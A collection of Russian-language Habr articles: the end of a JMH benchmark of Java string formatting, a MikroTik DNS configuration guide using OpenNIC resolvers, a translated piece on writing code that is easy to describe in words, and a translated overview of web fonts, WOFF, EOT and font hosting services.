Iteration 4: 431,991 ns/op
Iteration 5: 450,734 ns/op
Iteration 6: 516,239 ns/op
Iteration 7: 431,390 ns/op
Iteration 8: 432,352 ns/op
Iteration 9: 452,826 ns/op
Iteration 10: 425,379 ns/op
# Run progress: 33,33% complete, ETA 00:03:03
# Fork: 2 of 3
# Warmup Iteration 1: 693,705 ns/op
# Warmup Iteration 2: 463,112 ns/op
# Warmup Iteration 3: 445,281 ns/op
# Warmup Iteration 4: 457,800 ns/op
# Warmup Iteration 5: 453,018 ns/op
Iteration 1: 437,737 ns/op
Iteration 2: 427,742 ns/op
Iteration 3: 443,569 ns/op
Iteration 4: 501,467 ns/op
Iteration 5: 446,490 ns/op
Iteration 6: 426,738 ns/op
Iteration 7: 427,594 ns/op
Iteration 8: 461,360 ns/op
Iteration 9: 425,101 ns/op
Iteration 10: 452,461 ns/op
# Run progress: 41,67% complete, ETA 00:02:40
# Fork: 3 of 3
# Warmup Iteration 1: 635,491 ns/op
# Warmup Iteration 2: 443,077 ns/op
# Warmup Iteration 3: 442,987 ns/op
# Warmup Iteration 4: 431,363 ns/op
# Warmup Iteration 5: 426,921 ns/op
Iteration 1: 433,445 ns/op
Iteration 2: 429,941 ns/op
Iteration 3: 438,845 ns/op
Iteration 4: 427,774 ns/op
Iteration 5: 426,440 ns/op
Iteration 6: 424,521 ns/op
Iteration 7: 430,905 ns/op
Iteration 8: 490,199 ns/op
Iteration 9: 449,060 ns/op
Iteration 10: 432,094 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughConcatenationBenchmark":
444,483 ±(99.9%) 15,958 ns/op [Average]
(min, avg, max) = (422,996, 444,483, 516,239), stdev = 23,886
CI (99.9%): [428,524, 460,441] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughMessageFormatBuilder
# Run progress: 50,00% complete, ETA 00:02:17
# Fork: 1 of 3
# Warmup Iteration 1: 1161,265 ns/op
# Warmup Iteration 2: 998,957 ns/op
# Warmup Iteration 3: 845,871 ns/op
# Warmup Iteration 4: 742,562 ns/op
# Warmup Iteration 5: 735,021 ns/op
Iteration 1: 734,366 ns/op
Iteration 2: 742,179 ns/op
Iteration 3: 723,182 ns/op
Iteration 4: 728,268 ns/op
Iteration 5: 738,145 ns/op
Iteration 6: 739,328 ns/op
Iteration 7: 732,186 ns/op
Iteration 8: 774,538 ns/op
Iteration 9: 815,751 ns/op
Iteration 10: 714,448 ns/op
# Run progress: 58,33% complete, ETA 00:01:54
# Fork: 2 of 3
# Warmup Iteration 1: 1174,440 ns/op
# Warmup Iteration 2: 994,761 ns/op
# Warmup Iteration 3: 836,255 ns/op
# Warmup Iteration 4: 740,181 ns/op
# Warmup Iteration 5: 732,687 ns/op
Iteration 1: 741,292 ns/op
Iteration 2: 742,536 ns/op
Iteration 3: 743,853 ns/op
Iteration 4: 724,039 ns/op
Iteration 5: 739,011 ns/op
Iteration 6: 743,141 ns/op
Iteration 7: 735,273 ns/op
Iteration 8: 746,909 ns/op
Iteration 9: 733,629 ns/op
Iteration 10: 765,130 ns/op
# Run progress: 66,67% complete, ETA 00:01:31
# Fork: 3 of 3
# Warmup Iteration 1: 1184,020 ns/op
# Warmup Iteration 2: 969,928 ns/op
# Warmup Iteration 3: 832,638 ns/op
# Warmup Iteration 4: 735,386 ns/op
# Warmup Iteration 5: 745,396 ns/op
Iteration 1: 756,195 ns/op
Iteration 2: 749,304 ns/op
Iteration 3: 739,421 ns/op
Iteration 4: 754,232 ns/op
Iteration 5: 734,976 ns/op
Iteration 6: 737,265 ns/op
Iteration 7: 740,118 ns/op
Iteration 8: 742,716 ns/op
Iteration 9: 731,562 ns/op
Iteration 10: 737,156 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughMessageFormatBuilder":
742,672 ±(99.9%) 12,152 ns/op [Average]
(min, avg, max) = (714,448, 742,672, 815,751), stdev = 18,188
CI (99.9%): [730,520, 754,824] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughPatternBenchmark
# Run progress: 75,00% complete, ETA 00:01:08
# Fork: 1 of 3
# Warmup Iteration 1: 2230,607 ns/op
# Warmup Iteration 2: 1705,927 ns/op
# Warmup Iteration 3: 1527,384 ns/op
# Warmup Iteration 4: 1492,499 ns/op
# Warmup Iteration 5: 1437,785 ns/op
Iteration 1: 1458,388 ns/op
Iteration 2: 1477,134 ns/op
Iteration 3: 1456,519 ns/op
Iteration 4: 1465,800 ns/op
Iteration 5: 1488,031 ns/op
Iteration 6: 1459,507 ns/op
Iteration 7: 1480,816 ns/op
Iteration 8: 1462,555 ns/op
Iteration 9: 1461,078 ns/op
Iteration 10: 1494,234 ns/op
# Run progress: 83,33% complete, ETA 00:00:45
# Fork: 2 of 3
# Warmup Iteration 1: 2186,425 ns/op
# Warmup Iteration 2: 1640,445 ns/op
# Warmup Iteration 3: 1409,303 ns/op
# Warmup Iteration 4: 1402,054 ns/op
# Warmup Iteration 5: 1411,979 ns/op
Iteration 1: 1429,291 ns/op
Iteration 2: 1412,831 ns/op
Iteration 3: 1426,304 ns/op
Iteration 4: 1417,528 ns/op
Iteration 5: 1507,471 ns/op
Iteration 6: 1444,355 ns/op
Iteration 7: 1435,535 ns/op
Iteration 8: 1402,223 ns/op
Iteration 9: 1400,843 ns/op
Iteration 10: 1401,743 ns/op
# Run progress: 91,67% complete, ETA 00:00:22
# Fork: 3 of 3
# Warmup Iteration 1: 2223,753 ns/op
# Warmup Iteration 2: 1766,516 ns/op
# Warmup Iteration 3: 1452,903 ns/op
# Warmup Iteration 4: 1462,324 ns/op
# Warmup Iteration 5: 1485,965 ns/op
Iteration 1: 1533,760 ns/op
Iteration 2: 1551,043 ns/op
Iteration 3: 1468,389 ns/op
Iteration 4: 1463,317 ns/op
Iteration 5: 1466,646 ns/op
Iteration 6: 1487,802 ns/op
Iteration 7: 1467,299 ns/op
Iteration 8: 1460,768 ns/op
Iteration 9: 1488,246 ns/op
Iteration 10: 1455,518 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughPatternBenchmark":
1460,832 ±(99.9%) 24,075 ns/op [Average]
(min, avg, max) = (1400,843, 1460,832, 1551,043), stdev = 36,034
CI (99.9%): [1436,758, 1484,907] (assumes normal distribution)
# Run complete. Total time: 00:04:35
Benchmark Mode Cnt Score Error Units
MetricsFormatBenchmark.formatThroughBuilderBenchmark avgt 30 196,029 ± 4,408 ns/op
MetricsFormatBenchmark.formatThroughConcatenationBenchmark avgt 30 444,483 ± 15,958 ns/op
MetricsFormatBenchmark.formatThroughMessageFormatBuilder avgt 30 742,672 ± 12,152 ns/op
MetricsFormatBenchmark.formatThroughPatternBenchmark avgt 30 1460,832 ± 24,075 ns/op
```
Ожидаемо поплохело варианту `MetricsFormat.formatThroughConcatenation()`.
А вот с оптимизацией pop/aload в `MetricsFormat.formatThroughBuilder()` JIT-компилятор справился отлично — полученный результат по производительности ничем не отличается от *зачейненного* варианта. Тем не менее, обе версии использования `StringBuilder` не являются эквивалентными, например, `OptimizeStringConcat` умеет распознавать только *зачейненный* вариант использования `StringBuilder`.
### P.S.
Код бенчмарков лежит на github: [jbreak2018-strings-perf-tests](https://github.com/gnkoshelev/jbreak2018-strings-perf-tests).
Заключительные две части выйдут с меньшим лагом. Третья часть выйдет в середине недели.
**UPD.** Другие публикации серии: [Часть 1](https://habrahabr.ru/company/skbkontur/blog/350800/), [Часть 3](https://habrahabr.ru/company/skbkontur/blog/351540/), [Часть 4](https://habrahabr.ru/company/skbkontur/blog/351812/). | https://habr.com/ru/post/351300/ | null | ru | null |
# MikroTik основы настройки DNS
Если в магазине вас угораздило купить роутер MikroTik себе домой и вы не знаете зачем он вам, а отравление DNS кэша вашим провайдером не дает вам спать по ночам, то этот пост для вас.
Можно не мучаться и поставить DNS от Yandex, Google, Adquard и прочее, а можно пойти более сложным путем:
Открываем сайт [https://root-servers.org](https://root-servers.org/) и ищем свой город, смотрим какие там есть корневые сервера DNS
В Питере их 5
Если их несколько, выбираем какой больше нравится вам :)
Далее находим официальный сайт данной компании, в моем случае это [https://www.verisign.com](https://www.verisign.com/en_US/security-services/public-dns/index.xhtml?loc=en_US) и на сайте ищем раздел с публичным DNS.
В данном случае нас перенаправляют на сайт [https://www.publicdns.neustar](https://www.publicdns.neustar/), идем туда и копируем адреса в блокнот :)
Открываем WinBox или через http, кому как больше нравится.
1. Первым делом удаляем автополучение DNS провайдера:
открываем настройки интерфейса и убираем галочку "use peer dns"
2. В настройке DNS (IP -> DNS), вводим IP DNS сервера (начиная с сервера который у вас в городе). Размер кэша укажите сколько не жалко (*учитывайте свободное место*).
На этом можно было бы закончить, но мы пойдем далее.
Помимо ~~белых~~ официальных DNS резолверов есть еще и ~~темная сторона~~ альтернативные корневые серверы DNS, например, выберем OpenNIC (остальные добавляются подобным образом). Нас интересуют поддерживаемые домены [https://www.opennic.org](https://www.opennic.org/):
и IP адреса <https://wiki.opennic.org/#anycast_tier_2_dns_resolvers>
Далее открываем терминал и добавляем статические маршруты
`/ip dns static add comment="OpenNIC" forward-to=185.121.177.177,169.239.202.202,2a05:dfc7:5::53::1,2a05:dfc7:5::5353::1 regexp=".*(\\.bbs|\\.chan|\\.cyb|\\.dyn|\\.geek|\\.gopher|\\.indy|\\.libre|\\.neo|\\.null|\\.o)\$" type=FWD`
`/ip dns static add comment="OpenNIC" forward-to=185.121.177.177,169.239.202.202,2a05:dfc7:5::53::1,2a05:dfc7:5::5353::1 regexp=".*(\\.oss|\\.oz|\\.parody|\\.pirate|\\.opennic.glue|\\.dns\\.opennic\\.glue)\$" type=FWD`
Проверяем
В настройках DNS делаем очистку кэша.
Если пользуетесь Microsoft Edge, отключаем "улучшайзеры", в других браузерах аналогично.
Ребутим все что можно отребутить :)
и наслаждаемся [https://www.dnsleaktest.com](https://www.dnsleaktest.com/)
Что мне это дало? Нормально заработали уведомления от mihome, перестали "тупить" китайские лампочки. Ну и немного ощущаешь себя ~~кулхацкером~~ чуть более независимым от своего провайдера.
upd: корневой сервер DNS (в городе) не является публичным резолвером и не отвечает на запросы, нужно вводить ip публичного резолвера данного корневого сервера DNS. | https://habr.com/ru/post/547774/ | null | ru | null |
# Как написать легко описываемый код
Привет, Хабр!
Часто ли у вас было, что вы или ваши коллеги не могли описать свой собственный код парочкой фраз?
Предлагаю вашему вниманию перевод статьи ["How to write easily describable code"](https://www.freecodecamp.org/news/writing-describable-code/) автора [Cedd Burge](https://www.freecodecamp.org/news/author/cedd/), в которой он делится советом, как избежать таких ситуаций.
Когда код сложно описать с помощью слов, большинству людей приходится использовать для этого воображение. По этой причине впустую тратится умственная энергия и повышается риск ошибки в интерпретации кода. Разные люди всё равно будут по-своему воспринимать слова, что приведет к путанице при обсуждении кода.
Как правило, такие обсуждения становятся плодородной почвой для ошибок, появляющихся из-за недопонимания, и исправление этих ошибок часто приводит к появлению новых ошибок по тем же причинам. В конце концов получается непонятный код, с которым никто не хочет работать.
### Пример неописуемого кода
Можно подумать, что код — это всего лишь письменный язык. Если код выглядит просто, то его можно легко прочитать, описать и понять. Тем не менее, это не всегда так.
Ниже приведенное общее решение определяет, является ли год високосным.
```
(divisibleBy(4) and not divisibleBy(100)) or divisibleBy(400)
```
Это простой код. Он вызывает функции 3 раза, имеет 3 оператора (и, или, нет) и два уровня вложенности.
Но я думаю, что, если вам дадут одну секунду для описания этого алгоритма с помощью слов, у вас появятся трудности.
Может быть, «год является високосным, если он делится на 4 и не делится на 100, или делится на 400»?
Проблема состоит в том, что в словах, в отличии от кода, нет скобок. Поэтому словами сложно адекватно описать условие и то, относится ли «или делится на 400» к «делится на 4» или к «не делится на 400». Для обхода этой проблемы, вы можете указывать скобки рукой или делать более продолжительные паузы между условиями, но вероятность ошибки всё равно останется большой.
### Рефакторинг описываемого кода
Мы можем сперва описать условия словами и уже потом сокращать их, сделав как можно яснее и лаконичнее. Начнем так:
"400 лет — это уникальный случай. Если год делится на 400, то это високосный год. 100 лет — это тоже уникальный случай. Если год делится на 100, то это не високосный год, если только он не делится на 400, таким образом, приоритет у особого случая "400 лет". Если особые случаи отсутствуют, то этот год — високосный, при условии, что он делится на 4».
Звучит понятно, но не лаконично, поэтому мы немного сократим текст:
«Если год делится на 400, то он високосный. Если же он делится на 100, то это обычный год, но при делении на 4, это високосный год".
Если превратим эти слова в код, мы получим что-то следующее:
```
if divisbleBy(400):
return LeapYear
elif divisbleBy(100)
return NormalYear
elif divisbleBy(4):
return LeapYear
else:
return NormalYear
```
### Выводы
Трудный для понимания код является обыденностью практически для всех программистов. Мы поможем и себе, и своим коллегам, если будем писать код, который легко описывается словами.
И самое главное, что писать код таким способом проще всего, так как нет напрасных умственных усилий. "Трюк" же состоит в том, что алгоритм сперва описывается словами, по которым в дальнейшем пишется код.
Во многих организациях код уже начали описывать словами в приемочных тестах или пользовательских историях, что позволяет повысить производительность. | https://habr.com/ru/post/472830/ | null | ru | null |
# Веб-шрифты на распутье
*Перевод не претендует на 100%-ную точность, но я постарался максимально точно передать мысли и слог автора. Комментарии приветствуются.*
Начиная с Интернет Эксплорера 4 в 1998-ом, а затем с марта 2008-ого и до марта 2010-ого, один за другим, вся «большая пятерка» десктопных браузеров — Сафари, Файрфокс, Опера и Хром — выкатили сравнительно похожие реализации правила `@font-face` для привязки шрифтов. Вместе с тем, неотъемлимая часть веб-издательского паззла, часть, которой не хватает с начала Веба, встала на место и теперь настоящая, веб-ориентированая типографика начинает принимать форму.
Для начала, обзор последних событий:
1. 18-ого марта 2010 года [была](http://www.w3.org/2009/08/WebFonts/charter.html) учреждена группа [Web Fonts Working Group](http://www.w3.org/2000/09/dbwg/details?group=44556&public=1) в W3C. Её первая задача была утвердить [спецификацию](http://people.mozilla.com/%7Ejkew/woff/woff-spec-latest.html) WOFF как стандарт доставки [sfnt](http://en.wikipedia.org/wiki/Sfnt) (OTF и TTF) шрифтов в веб в «сжатом» виде.
2. Была представлена отрисовка шрифтов в IE9 с помощью Windows’s DirectWrite в [IE9 Platform Preview](http://ie.microsoft.com/testdrive/info/ThankYou/Default.html).
3. Появились первые инструменты для подготовки веб шрифтов, такие как Font Squirrel’s @Font-Face [Generator](http://www.fontsquirrel.com/fontface/generator) и [EOTFAST](http://eotfast.com/).
4. Пошла новая волна «шрифтохранилищ» в виде [Typekit](http://typekit.com/), [Typotheque](http://www.typotheque.com/) и бесплатного, опенсорсного [Kernest](http://kernest.com/).
5. Появились первые “трастовые/кредитные” [лицензии](http://fontspring.com/) на веб-шрифты от дизайнеров коммерческих шрифтов.
6. [CSS3 Fonts Module](http://www.w3.org/TR/css3-fonts/) включил в себя некоторые продвинутые свойства OpenType.
7. Adobe Flash, когда-то надежная, кросс-платформенная среда [замены](http://en.wikipedia.org/wiki/Scalable_Inman_Flash_Replacement) текста (sIFR), сейчас выглядит абсолютно убогой.
8. Google запустил бесплатный сервис шрифтов с растущей [библиотекой](http://code.google.com/webfonts). Все шрифты в библиотеке доступны и для частного хранения/использования.
Теперь пройдемся по пунктам…
WOFF
----
WOFF был официально добавлен в W3C Fonts Working Group 8-ого апреля, 2010 года. Microsoft неожиданно спонсировала его внесение вместе с Opera и Mozilla. Поддержка WOFF заявлена в тестовых билдах IE9 для разработчиков. WOFF *будет* стандартом “транспорта” для шрифтов. Поддержка WOFF уже реализована в Firefox 3.6+, и разработчики Chrome [анонсировали](http://news.cnet.com/8301-30685_3-20003277-264.html) поддержку WOFF в ближайшем будущем.
К сожалению WOFF был разрекламирован способами, которые могут ввести в заблуждение. Давайте на секунду остановимся, так как важно знать чем является WOFF и что не менее важно, чем он не является.
Как и его старший брат, [EOT](http://www.w3.org/Submission/2008/01/) (Embedded Open Type), WOFF файл является по сути архивированым файлом шрифта. Он не является шрифтовым форматом, сам по себе. Это файл шрифта, который «собрали в дорогу». Как PNG и JPEG для BMP и TIFF, так и WOFF для TTF и OTF. (В отличии от сжатого изображения, оригинальный шрифт *может* и *должен* быть распакован из сжатия.) На практике, WOFF и EOT очень похожи и соотношения сжатия для них более-менее одинаковы.
WOFF это *не* магический формат шрифта, который раз и на всегда сломит все препятствия на пути лицензирования коммерческих шрифтов. Страхи производителей шрифтов относительно веба гораздо более сложны и скоро мы с ними разберемся в связи с FHOS.
IE9 и DirectWrite
-----------------
IE9 использует Windows [DirectWrite](http://en.wikipedia.org/wiki/DirectWrite) API для отрисовки шрифтов. Если вы еще не скачали предпросмотровую версию IE9 я рекомендую вам попробовать, это может вас приободрить. Проведя некоторое время с IE9 preview, вы не захотите возвращаться к IE8 и XP. (Mac-юзеры, не ржать.) Отрисовка шрифтов в IE9 это нечто гораздо большее, чем мы ожидали. Несомненно на уровне с Маком, а в некоторых случаях даже лучше. Каково бы не было ваше мнение, разница сократилась значительно. Одним из отличных побочных эффектов фокуса на веб-шрифтах стало заострение внимания на том, как [желание](http://www.webmonkey.com/2009/10/boingboing_discovers_the_dark_side_of_css3/) отрисовки шрифтов в браузерах под Windows сравнивается с отрисовкой в браузерах на OS X. Обратите внимание на то, что DirectWrite является Windows API, а не специфично для IE, и другие браузеры, такие как Firefox тоже [реализуют](http://news.cnet.com/8301-30685_3-10403604-264.html) его.
IE9 и @Font-Face с помощью CSS3
-------------------------------
Удивительно, но то что делает `@font-face` годным кросс-браузерным решением сегодня, это то что IE поддерживает `@font-face` уже более десяти лет. Тем не менее, IE9 будет первой реализацией `@font-face` так как описано в спецификации CSS3.
Вот основные изменения:
### Форматы шрифтов
Дополнительно к TrueType (TTF) шрифтам, IE9 будет поддерживать PostScript-приправленные OTF CFF шрифты, так же как и “большая пятерка” браузеров. Удаление этой преграды для совместимости само по себе очень хорошо, но с предупреждением: только если в интересах обратной совместимости для IE 6–8, это произойдет за несколько лет до того как веб-шрифты перестанут быть TrueType. IE 6–8 будут поддерживать *только* TrueType шрифты, запакованные как EOT. Кроме этого есть и другие проблемы отрисовки в браузерах под Windows, о которых надо помнить.
Остается надеяться что дизайнеры шрифтов помогут в этом, создавая свои шрифты доступными в TrueType с адекватным TrueType [хинтингом](http://readableweb.com/font-hinting-explained-by-a-font-design-master/). Либо, как вполне серьезно предложил мне один дизайнер шрифтов, все должны воздержаться от использования веб-шрифтов, пока IE8 не уйдет со сцены. Ха! [Слишком](http://typekit.com/gallery/) [поздно](http://www.flickr.com/groups/typekit/pool/).
### Синтаксис
Внутри `@font-face` “декларации” в CSS3, вы, как веб автор, должны делать то, что операционные системы делают *для* вас с «безопасными» шрифтами. *Вы* должны группировать шрифты в семейства, декларируя их под одним именем семейства. *Вы* должны разделять членов этого семейства, декларируя для каждого из них быть различной комбинацией `font-style (normal, italic)` и `font-weight (normal, bold)`.
Обратите внимание на то, что селекторы `font-weight` и `font-style` имеют различные значения *внутри* `@font-face` правила от тех же селекторов *вне* правила в основной таблице стилей. *Внутри* декларации, `font-weight: bold` означает, “это жирный участик этого семейства шрифтов;” *вне* декларации `font-weight: bold` означает, “применить жирность к этому тексту, с помощью участника этого семейства шрифтов, который декларирован как жирный.”
В IE6–8 `@font-face` работает тем же способом. Однако для того, чтобы EOT-файлы работали правильно, некоторые наименования и описательная информация внутри TTF-файла из которого создан EOT, должны совпадать с CSS декларацией. **В большинстве случаев это не проблема.** Но иногда, некоторые поля внутри таблиц данных шрифта должны быть изменены. В случае необходимости, все проблемы изучены и легко могут быть исправлены. (Подробности в документации для [EOTFAST](http://eotfast.com/).)
Инструментарий для Веб-шрифтов
------------------------------
Необходимый инструментарий, которым должны обладать веб авторы:
### Font Squirrel Генератор
[Генератор](http://www.fontsquirrel.com/fontface/generator) это набор онлайн-инструментов, предлагающий конвертацию, очистку, генерирующий CSS стили и так далее. На данный момент, это лучшее что есть в сети и в руках дизайнера шрифтов и веб-разработчика [Ethan Dunham](http://5by5.tv/bigwebshow/1) только продолжает улучшаться.
Кроме того, возможно вы захотите ознакомиться с некоторыми бесплатными утилитами, которые используются за кулисами в таких местах как Font Squirrel, Kernest и Google:
* [FontForge](http://fontforge.sourceforge.net/) полновесный редактор шрифтов со всевозможными конфигурируемыми вкусностями на стороне сервера. Открытый исходный код.
* [sfnt2woff](http://people.mozilla.com/%7Ejkew/woff/) это набор утилит с открытым исходным кодом для упаковки TTF и OTF CFF шрифтов в WOFF-файлы.
* [ttf2eot](http://code.google.com/p/ttf2eot/) это предшественник EOTFAST. Он создает несжатые «легкие» EOT-файлы.
* [TTX](http://sourceforge.net/projects/fonttools/) это средство конвертации OpenType и TrueType шрифтов в и из XML.
* [Fontue](http://fontue.com/) это движок с открытым исходным кодом для вывода веб-шрифтов и скриптов для обработки шрифтов. Приветствуются вклады в [Github](http://github.com/garrickvanburen/fontue).
* [WebFont Loader](http://code.google.com/apis/webfonts/docs/webfont_loader.html) это JavaScript-библиотека, которая позволяет лучше контролировать загрузку шрифтов, чем позволяет Google Font API. Создана в сотрудничестве между Google и TypeKit.
### EOTFAST
Разработан мной и Филлипом Тейлором из Кембриджа, [EOTFAST](http://eotfast.com/) является бесплатной и простой для использования альтернативой Майкрософтовскому конвертору, [WEFT](http://www.microsoft.com/typography/WEFT.mspx). Используйте EOTFAST для создания оригинально сжатых EOT файлов, совместимых с IE 6–8 и более быстрой загрузкой страницы. Обратите внимание на то, что EOT формат не был признан нерекомендованным и будет продолжать работать во всех режимах рендеринга в IE9, создавая тем самым легкий путь работы со всеми версиями IE, не прибегая к условным комментариям.
Доверительные лицензии
----------------------
*Доверительные лицензии*—шрифты по оптовой цене, которые предоставляются в виде устанавливаемых TTF или OTF файлах для упрощения разработки, на равне с публикацией на веб-серверах — доступны в [Font Spring](http://fontspring.com/). Этот сайт предоставляет, как каждый подобный сайт [должен](http://readableweb.com/an-open-letter-to-retail-font-vendors/) был бы, образцы шрифтов, так что вы в действительности видите то товар, перед тем как покупаете его. Надеюсь, остальные подобные сервисы примут эту простую модель лицензирования за основу.
Шрифтохранилища и «маскирующие» сервисы (FHOS)
----------------------------------------------
До появления `@font-face`, браузеры полагались на операционные системы в вопросе шрифтов, так что нелицензионное использование оных на сайтах не было проблемой. Операционные системы являлись не только технологической основой, но и законодательной. Права на использование «безопасных» шрифтов для веба пришли с операционной системой. Но `@font-face` обходит операционные системы, так как шрифты приходят с веб-сервера. Создатели коммерческих шрифтов предстают перед перспективой потери контроля и абсолютно новыми правовыми реалиями. Помимо этого появляется [перспектива](http://billhillsblog.blogspot.com/2009/06/font-industry-needs-to-step-up-to.html) огромного нового рынка, но внутри индустрии шрифтов не настолько воодушевлены ею, как обеспокоены потенциальной потерей контроля. Рынок веба неизучен, тогда как рынок печати закреплен. Конфликт новых и старых медиа [возрождается](http://www.w3.org/Talks/2010/0313-Fonts-SXSW/), в этот раз в шрифтах.
Заботы создателей коммерческих шрифтов гораздо глубже, чем сценарий ситуации когда посетитель сайта видит понравившийся ему шрифт, роется в CSS и скачивает его. Позвольте мне предложить объяснение, чтобы вы могли лучше понять почему существуют сервисы шрифтов, использующие «маскировку», а в некоторых случаях и [запутанные](http://www.fonts.com/Legal/EOT_Eula.htm), и тупые лицензионные соглашения.
Производители шрифтов видели что произошло с индустрией музыки, книг, газет, журналов и [банков изображений](http://www.nytimes.com/2010/03/30/business/media/30photogs.html) и они бояться что то же самое произойдет с ними. Это называется [iTunes Effect](http://blogs.hbr.org/research/2010/01/the-itunes-effect-and-the-futu.html), and it’s about price.
Дизайнеры шрифтов все еще очень сфокусированы на [принте](http://billhillsblog.blogspot.com/2008/04/font-creators-need-to-make-their-minds.html). В общем, основные деньги находятся в обслуживании профессиональных клиентов в индустрии печати: книги, журналы, художественное оформление и так далее. Цены обычно варьируются в зависимости от количества пользователей продукта. Основной их страх в том, что как только шрифты появятся в сети, они станут продуктом широкого потребления, существующая бизнес-модель рухнет и произойдет обесценивание шрифтов. Дизайнеры шрифтов боятся того, что не смогут запросить с клиента, скажем, 420$ за четыре семейства шрифтов для 6-10 пользователей, в мире где шрифты предоставляются на сайтах для «условно» неограниченного количества посетителей, которые вобще ничего не должны платить за это. Что если интернет снижает цены в секторе печати и сам по себе фактически не генерирует дохода?
### Предостережение покупателям
В ответ на «интернет угрозу», некоторые коммерческие дизайнеры шрифтов выбрали шрифтохранилища и «маскирующие» сервисы. По существу, эти сервисы используют модель Amazon Kindle, но вместо книг вы получаете то, из чего сделаны книги — шрифты. Они раздаются отмереным, контролируемым путем так, что создатели шрифтов занют куда каждый из шрифтов идет и кем используется. Маскировка фокусируется на предотвращении обычного скачивания и возможности создания устанавливаемого в операционную систему шрифта, и поэтому шрифт становится недоступным для работы в таких програмах как InDesign. Основная задача подобных сервисов — удержать семейства шрифтов в своих руках.
Увеличение [дискуссий](http://typophile.com/node/66933/#comment-395072) между предтавителями производителей шрифтов, такими как Microsoft, Adobe, Monotype Imaging и другими, в следствии появления Typekit’а в прошлом году, в последние месяцы привело к созданию таких маскирующих сервисов какMicrosoft’s font distribution proxy, [Ascender](http://www.ascenderfonts.com/webfonts/) [Corp](http://www.fontslive.com/), [Extensis](http://www.extensis.com/en/WebINK/) (специалисты в програмном обеспечении для [управления](http://www.extensis.com/en/products/suitcasefusion2/) и [лицензирования](http://www.extensis.com/en/products/universaltypeserver2lite/whats-new.jsp) шрифтов), [Monotype Imaging](http://webfonts.fonts.com/), и [коллектив](http://www.webtype.com/), включающий [Font Bureau](http://www.fontbureau.com/) от [David Berlow](http://www.alistapart.com/articles/realfontsontheweb/).
Я могу сказать вам что ребята из Extensis, Ascender и Monotype счастливы и полны энтузиазма предоставлять шрифты для веба. Но они уж точно не будут спешить рассказывать вам, что система распространения этих шрифтов создана в ограничениях умной, но «[грязной](http://www.zeldman.com/2010/04/13/opera-loves-my-web-font/#comment-54284)» DRM-подобной [структуры](http://blog.typekit.com/2009/07/21/serving-and-protecting-fonts-on-the-web/). Это понятно. Но попытки идентифицировать и предотвратить случаи нелицензированого распространения через код доказали свою нецелесообразность фактически для всех и в перспективе, все попытки маскировки шрифтов выглядят тщетными и нецелесообразными.
Дизайнер шрифтов Ray Larabie [выразил это лучше всех](http://www.typophile.com/node/70404?page=1/#comment-413394):
Защита шрифтов от установки в операционную систему, в то время когда изпользование шрифтов где либо, кроме веба, является признаком ретроградства, выглядит нелепо и глупо. Установить шрифты в свою ОСь? Да пожалуйста, дедуля! В ближайшем будущем никто и не захочет устанавливать шрифт в операционную систему.
### Покупатель, будь благодарен
Как обычно, есть и обратная сторона. Можно рассматривать FHOS как фазу. Сервисы все время обновляются. Например WebINK сервис от Extensis бесплатный устанавливаемый «мастер предпросмотра» шрифтов [Type Drawer](http://www.extensis.com/en/WebINK/fonts/index.jsp), который позволяет, среди прочего, мнгновенно менять определенные шрифты на странице, просто перетаскивая их. Это позволяет сэкономить кучу времени и это то, что нужно дизайнерам в работе. На данный момент это проприетарная разработка WebINK, но она формирует направление развития сервисов.
### Проверочный список сервисов шрифтов
Что касается меня, я фокусируюсь на предоставлении информации для [разработчиков](http://www.zeldman.com/2010/04/13/opera-loves-my-web-font/). И как веб-автор, теперь, когда я не должен полагаться на операционную систему в плане шрифтов, разве что как резерв, я чувствую себя некомфортно с мыслью о том, что такая базовая и фундаментальная часть дизайна моего сайта, как шрифт, будет контролироваться внешней сущностью. Далее, ни один независимый веб-дизайнер, с которым я говорил об этом, ни при каких обстоятельствах не согласен хомутать клиента постоянным расходом на шрифты.Есть тысячи бесплатных шрифтов и многие из них такогоже качества или даже выше, чем те, которые предлагают FHOS сервисы.
Само собой разумеется, вы должны знать как минимум, каковы технологические различия между тем, что предоставляет сервис и тем что сможете сделать вы, если будете хранить файлы у себя. Под влиянием проверочного списка, недавно предложенного EFF в связи с взрывом [оцифрованых книг](http://www.eff.org/wp/digital-books-and-your-rights), вот вариант проверочного списка потребителя FHOS сервисов:
1. Какие точно препятствия созданы в попытке предотвратить скачивание и установку шрифтов в операционной системе? На сколько вырастает число запросов к серверу в результате?
2. Отключено ли кеширование? Будут ли пользователи видеть сначала «необстиленые» шрифты, которые потом будут сменяться нужными? (Flash Of Unstyled Text)
3. Если разделение файла шрифта на части является техникой маскировки, то как это может повлиять на шаг и кернинг? И является ли разбивка файла шрифта на части дополнительным фактором риска в некоторых браузерах?
4. Действительно ли сервис соответствует стандартам и позволяет вам использовать стандарт CSS3 во всей ширине, как это позволяют сейчас современные браузеры, поддерживающие `@font-face?`
5. Понятны ли [Пользовательское соглашение](http://www.ascenderfonts.com/store/license.aspx?id=19) или [Условия использования](http://typekit.com/policies)? Согласны ли вы или ваш клиент с обязывающими положениями контракта? Если вы прекратите пользоваться сервисом и будете хранить свои шрифты у себя, надете ли вы компромисс в соглашении?
6. Какова политика конфиденциальности? Будет ли сервис мониторить и сохранять логи активности на вашем сайте, и если будет то как? Что будет происходить с этой информацией?
